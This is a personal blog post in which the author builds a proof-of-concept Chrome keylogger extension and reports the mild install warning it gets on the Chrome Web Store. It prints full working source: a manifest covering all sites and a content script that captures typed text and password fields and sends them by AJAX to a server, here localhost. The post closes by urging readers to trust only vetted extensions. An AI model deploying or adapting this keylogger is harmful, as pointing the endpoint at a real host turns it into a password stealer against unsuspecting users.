Ok, today I made a simple Chrome extension, and suddenly got very excited about it (yeah I know, almost every blog post I write starts like this). Then reading about the extensions possibilities, I learned that the extensions are not limited by the same-origin policy.
This means that, if an extension made an AJAX request, it could be directed to a server different from the domain of the current page. This can be harmful in some different ways, the first I imagine is a simple keylogger extension which logs everything you type (passwords included) and sends it to a malicious server to collect them.
And that’s what I made, just to understand how difficult it was, and which kind of warning would the Google Web Store issue when you decide to add it to your browser.
Making the malicious extension
Actually, since that you can inject javascript, making the keylogger extension is straightforward: you just have to write two files, a manifest and the script:
manifest.json:
{
"manifest_version": 2,
"name": "KeyLogger",
"description": "This extension logs everything you type.",
"version": "1.0.1",
"permissions": [
"http://*/*", "https://*/*"
],
"content_scripts": [{
"matches": ["http://*/*", "https://*/*"],
"js": ["script.js"]
}]
}
script.js:
var xmlhttp = new XMLHttpRequest();
console.log('Starting keylogger..')
setInterval( function() {
var inputs = document.getElementsByTagName('input')
var textAreas = document.getElementsByTagName('textarea')
var myLog = function(event) {
var what = encodeURIComponent(event.srcElement.value)
console.log("Logged: " + what)
console.log("Sending data to remote server..")
xmlhttp.open("GET","http://localhost/?"+what,true);
xmlhttp.send();
}
var getHandler = function(previousHandler,obj) {
return function(e) {
myLog(e);
if(previousHandler) previousHandler(e);
}
}
for(var i=0; i<inputs.length; i++) {
if(inputs[i].getAttribute('type') == 'text' || inputs[i].getAttribute('type') == 'password') {
inputs[i].onblur = getHandler(inputs[i].onblur,inputs[i])
}
}
for(var i=0; i<textAreas.length; i++) {
textAreas[i].onblur = getHandler(textAreas[i].onblur,textAreas[i])
}
},2000)
The script is a simple implementation that sends via AJAX requests every text you type in a textbox, password fields included. In this simple proof of concept it sends everything to localhost.
I tried it, and it works.
Installing the extension
I published it to the Chrome Web Store, and tried to install it, to see what kind of warning should show up, and all I got was this:
..not so uncommon for, say, an Advertising blocking extension:
So this blog post is here to remind you that you should use only trusted Chrome extensions. It’s very easy to steal your data with a malicious chrome extension, it’s easy to hide some malicious code in a apparently innocent extensions and after you have installed it, it’s easy to forget about it.
Please don’t do bad things with my code and/or ideas.